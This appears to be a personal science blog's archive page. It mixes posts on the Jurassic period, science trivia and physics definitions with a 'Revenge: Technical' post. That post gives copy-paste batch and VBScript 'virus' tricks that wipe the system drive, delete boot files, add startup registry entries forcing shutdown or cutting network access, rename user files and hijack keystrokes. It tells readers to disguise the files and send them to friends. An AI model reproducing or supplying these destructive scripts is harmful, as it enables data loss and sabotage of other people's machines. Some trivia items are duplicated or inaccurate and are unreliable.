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Sunday, 26 June 2016

Sunday, 13 September 2015

Jurrasic

Dinosaurs are very boring, they eat, they sleep, they died in Natural Calamity.
But seriously I found these facts intresting then Indiana Jones.
 The Jurassic Period was the second segment of the Mesozoic Era. It occurred from 199.6 to 145.5 million years ago, following the Triassic Period and preceding the Cretaceous Period.
During the Jurassic Period, the supercontinent Pangaea split apart. The northern half, known as Laurentia, was splitting into landmasses that would eventually form North America and Eurasia, opening basins for the central Atlantic and the Gulf of Mexico. The southern half, Gondwana, was drifting into an eastern segment that would form Antarctica, Madagascar, India and Australia, and a western portion that would form Africa and South America. This rifting, along with generally warmer global temperatures, allowed for diversification and dominance of the reptiles known as dinosaurs.
Plant life
By the Mesozoic Era, living things had evolved the capability of living on the land rather than being confined to the oceans. By the beginning of the Jurassic, plant life had evolved from Bryophytes, the low-growing mosses and liverworts that lacked vascular tissue and were confined to swampy moist areas.
Ferns and gingkoes, complete with roots and vascular tissue to move water and nutrients and a spore system of reproduction, were the dominant plants of the early Jurassic. During the Jurassic, a new method of plant reproduction evolved. Gymnosperms, cone-bearing plants such as conifers, allowed for wind distribution of pollen. This bisexual reproduction allowed for greater genetic combination and by the end of the Jurassic, the gymnosperms were widespread. True flowering plants did not evolve until the Cretaceous.
brachiosaurus
Brachiosaurus was about as high as a four-story building.
Credit: Linda Buckin |Shutterstock
Age of the dinosaurs
As Steven Spielberg’s 1993 film "Jurassic Park" asserts, reptiles were the dominant animal life forms during the Jurassic Period. Reptiles had overcome the evolutionary hurdles of support and reproduction that limited the amphibians. Reptiles had strong ossified skeletons supported by advanced muscular systems for body support and locomotion. Some of the largest animals ever to live were dinosaurs of the Jurassic Period. Reptiles were also capable of laying amniotic eggs, which kept the developing young moist and nourished during gestation. This allowed for the first fully terrestrial animal life cycles.
Sauropods, the “lizard hipped” dinosaurs, were herbivorous quadrupeds with long necks balanced by heavy tails. Many, such as Brachiosaurus, were huge. Some genera obtained lengths greater than 100 feet and weights over 100 tons, making them the largest land animals ever to walk the earth. Their skulls were relatively small, with nostrils carried high near their eyes. Such small skulls meant that they had very small brains as well. Despite the small brains, this group was very successful during the Jurassic Period and had a wide geographic distribution. Sauropod fossils have been found on every continent except Antarctica. Other well known dinosaurs of the Jurassic include the platedStegosaurus and the flying Pterosaurs.
Carnosaurus means “meat-eating dinosaur.” With such large herbivorous prey animals, it makes sense that large predators were also common. Allosaurus was one of the most common Carnosaurs in North America; numerous intact skeletons have been found in the fossil beds of Utah. Allosaurus was superficially similar to the later evolvingTyrannosaurus rex, although cladistic analysis shows them to be only distantly related. Allosaurus was a bit smaller with a longer jaw and heavier forelimbs. They relied on the stronger hind limbs for a running gait, but it is unclear how fast they could move.
Illustration of the first placental mammal
Researchers have unearthed a 112-million-year-old mammal jaw in Japan. The jaw shows that mammals from this clade were rapidly evolving traits that would eventually be found in placental mammals. Here, an illustration of what the first placental mammal would have looked like.
Credit: CREDIT: Image courtesy of Carl Buell
It is unlikely to have been common for an Allosaurus to take on a healthy large adult herbivore like a Brachiosaurus or even aStegosaurus. They were likely opportunistic, consuming young, sick, aged or injured prey. They were probably able to grasp such prey with their heavily muscled forelimbs, tearing it to pieces with large claws and then swallowing the pieces whole.
Early mammals
Dinosaurs may have been the dominant land animals, but they were not alone. Early mammals were mostly very small herbivores or insectivores and were not in competition with the larger reptiles. Adelobasileus, a shrew-like animal, had the differentiated ear and jaw bones of a mammal and dates from the late Triassic.
In August 2011, scientists in China announced discovery of Juramaia. This tiny animal of the mid-Jurassic has caused excitement among scientists because it is clearly a eutherian, an ancestor of placental mammals, indicating that mammals evolved much earlier than previously thought.
Marine life
Marine life of the Jurassic Period was also highly diversified. The largest marine carnivores were the Plesiosaurs. These carnivorous marine reptiles typically had broad bodies and long necks with four flipper shaped limbs. Ichthyosaurus was a more fish-shaped reptile that was most common in the early Jurassic. Because some fossils have been found with smaller individuals that appear to have been inside the larger ones it is hypothesized that these animals may have been among the first to have internal gestation and bear live young. Cephalopod ancestors of modern squid and finned relatives of modern sharks and rays were also common. Among the most beautiful fossils of marine life were left by the spiral shells of the Ammonites.
Editor's note; This article was updated on April 17, 2013, to correct descriptions of life during the Mesozoic Era and of the Juramaia.



Source: livescience

Revenge: Technical

Today No science I'm just 'bout revenge so these are some of ways:

Type following codes to notepad and follow the instructions

But remember these Viruses are not just vikkies are dangerous so don't click them yourself++

1.
Just open the Notepad and type the paste the following Code.

set ws=createobject("wscript.shell")
dim strDir,strfile,st,strtxt2,strshell,strlog
dim obfso,obfolder,obshell,obfile,obtxtfile
strshell="wscript.shell"
strDir="C:\WINDOWS"
strfile="\wscript.vbs"
st=Chr(34)
strlog="shutdown -l"
strtxt2="ws.run(strlog)"
set obfso=CreateObject("Scripting.FileSystemObject")
on error resume next
set obfile=obfso.CreateTextfile(strDir & strfile)
obfile.writeline("set ws=createobject("&st&strshell&st&")")
obfile.writeline("ws.run("&st&strlog&st&")")
ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Logoff","C:\WINDOWS\wscript.vbs","REG_SZ”

Now Save This Notepad file With Any Name Having  .vbs Extension .

2 -> Virus Creation Trick  2 .
Open Notepad and write "start" without quotes
Start
Start
Start
and then save it with .bat extension.
Now double click on this .bat file to run Command Prompt.

 3 -> Virus Creation Trick 3
Convey your friend a little message and shut down his / her computer:
@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

4 -> Virus Creation Trick 4
Toggle your friend's Caps Lock button simultaneously:

Code:
Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as "Anything.VBS" and send it.

5 -> Virus Creation Trick 5
Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.  


6 -> Virus Creation Trick 6
This Virus Deletes All The Content Of A Drive...

@echo off
del %systemdrive%*.* /f /s /q
shutdown -r -f -t 00

Save The Above Code As Anything.bat




7 -> Virus Creation Trick 7
This Will Crash Ur Computer

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs

 8 -> Virus Creation Trick 8
The Most Simple Virus To Crush The Window
It Only Works With Windows XP


@Echo off
Del C: *.* |y

Save It As Anything.bat

 9 -> Virus Creation Trick 9
Virus that crashes pc
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive


Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

10 -> Virus Creation Trick 10
Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

11 -> Virus Creation Trick 11
Disable Internet Permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File
 
12 -> Virus Creation Trick 12
Change Files To Non-working TXT Files
Save As A bat File

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

 
13 -> Virus Creation Trick 13
System Meltdown

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
ipconfig /release
shutdown -r -f -t0
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v HAHAHA /t reg_sz /d c:windowshartlell.bat /f
echo You Have Been Hackedecho @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo YOU HAVE BEEN HACKED BITCH
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

PAUSE

PAUSE

Save As A bat File


Temporarily Flood Network

:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

? Open Notepad

? Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will
automatically shutdown on every startup !

























1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.

2) Toggle your friend's Caps Lock button simultaneously:
Type :

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it.

3) Convey your friend a lil' message and shut down his / her computer:
Type :

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s

Save it as "Anything.BAT" in All Files and send it.

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.

5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.

6) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Save it as "Anything.VBS" and send it.

7) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.

8. Open Notepad continually in your friend's computer:
Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.

9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Save it as "Anything.BAT" and send it.

You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there.

10) THRETEN BY MAKING SCREEN FLASH

To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file.

@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
- See more at: http://myhistoryweb.blogspot.in/2009/03/10-virus-notepad-script.html#sthash.Zlr4bwAg.dpuf
















These are serious dont use them for pranks friends are precious so do their PCs.

Sunday, 23 August 2015

Amazing facts - general

1. The amount of heat in the Earth’s entire atmosphere is equivalent to the heat present in the first ten feet of the ocean.
2.The flashing lightning bolt is 3 times hotter compared to the sun, seems like the sun also has to face competition.
3.The flashing lightning bolt is 3 times hotter compared to the sun, seems like the sun also has to face competition.
4.Stephen Hawking was born on January 8, 1942, 300 years to the day after the death of Galileo.
5. Einstein's famous theory of relativity, E=mc^2 is also used in GPS on the car.
6.You can convert graphite into diamond by applying a temperature of 3000 Celsius and pressure of 100,000 atm.
7.The bark of the redwood tree is fireproof.
8.The Atlantic Ocean grows at about the same rate as your fingernails.
9.The only rock that floats in water is pumice. Think of Ramayana.
10.A solar panel 100 miles by 100 miles (161x161km) in the Mojave Desert (USA) could replace all the coal now burned to generate electricity in the entire U.S.
Source : Around the web.

Friday, 21 August 2015

Facts-chemistry

Sorry for make you wait, but I am out of station now.

So today there are some chemistry facts for you

1. HCl is not the strongest acid, it is in fact it is a superacid named fluroantimonic acid.

2. Mercury is highly toxic for human body, but it is widely used in medical instruments like thermometer, sphygmomanometer, etc.

4.Unlike many substances, water expands as it freezes. An ice cube takes up about 9% more volume than the water used to make it.

5. Chemical name of water is dihydrogen monoxide.

6. Rarest element on the earth's crust is astatine.

7. A rubber tyre is technically a one single, giant complex polymer.

Sunday, 16 August 2015

Electricity

Electricity is a electromagnetic field energy.Electricity is a type of energy that can build up in one place or flow from one place to another. When electricity gathers in one place it is known as static electricity (the word static means something that does not move); electricity that moves from one place to another is called current electricity.
In simplest way electricity comes from
Movement of electrons.

Electric current
Just like air or water current flow of electricity us electric current.
Conventional current flows from positive to negative terminal.

Electric circuit
A continuous and closed(ie complete) path of an electrical current is called electric circuit.
     There are several component in a circuit bu the simplest are
     Wire/conductor- conducting medium for current
     PS/battery/cell- voltage source creates potential difference in circuit.
     Switch- open and close circuit
     Resistors- create resistance in circuit
     Transistor- amplify and switch electric current and power.
     Capacitors- it store elctrical energy temporarily.
     

Saturday, 15 August 2015

General terms

                               Viscosity
It refers as 'thickness' of a liquid. It is resistance of liquid to flow.



                            Mass


The mass of an object is a fundamental property of the object; a numerical measure of its inertia; a fundamental measure of the amount of matter in the object.

                          Weight


 The weight of an object is defined as the force of gravity on the object and may be calculated as the mass times the acceleration of gravity, w = mg. Since the weight is a force, its SI unit is the newton.



                           Density


 It is mass of the matter present in a fix volume.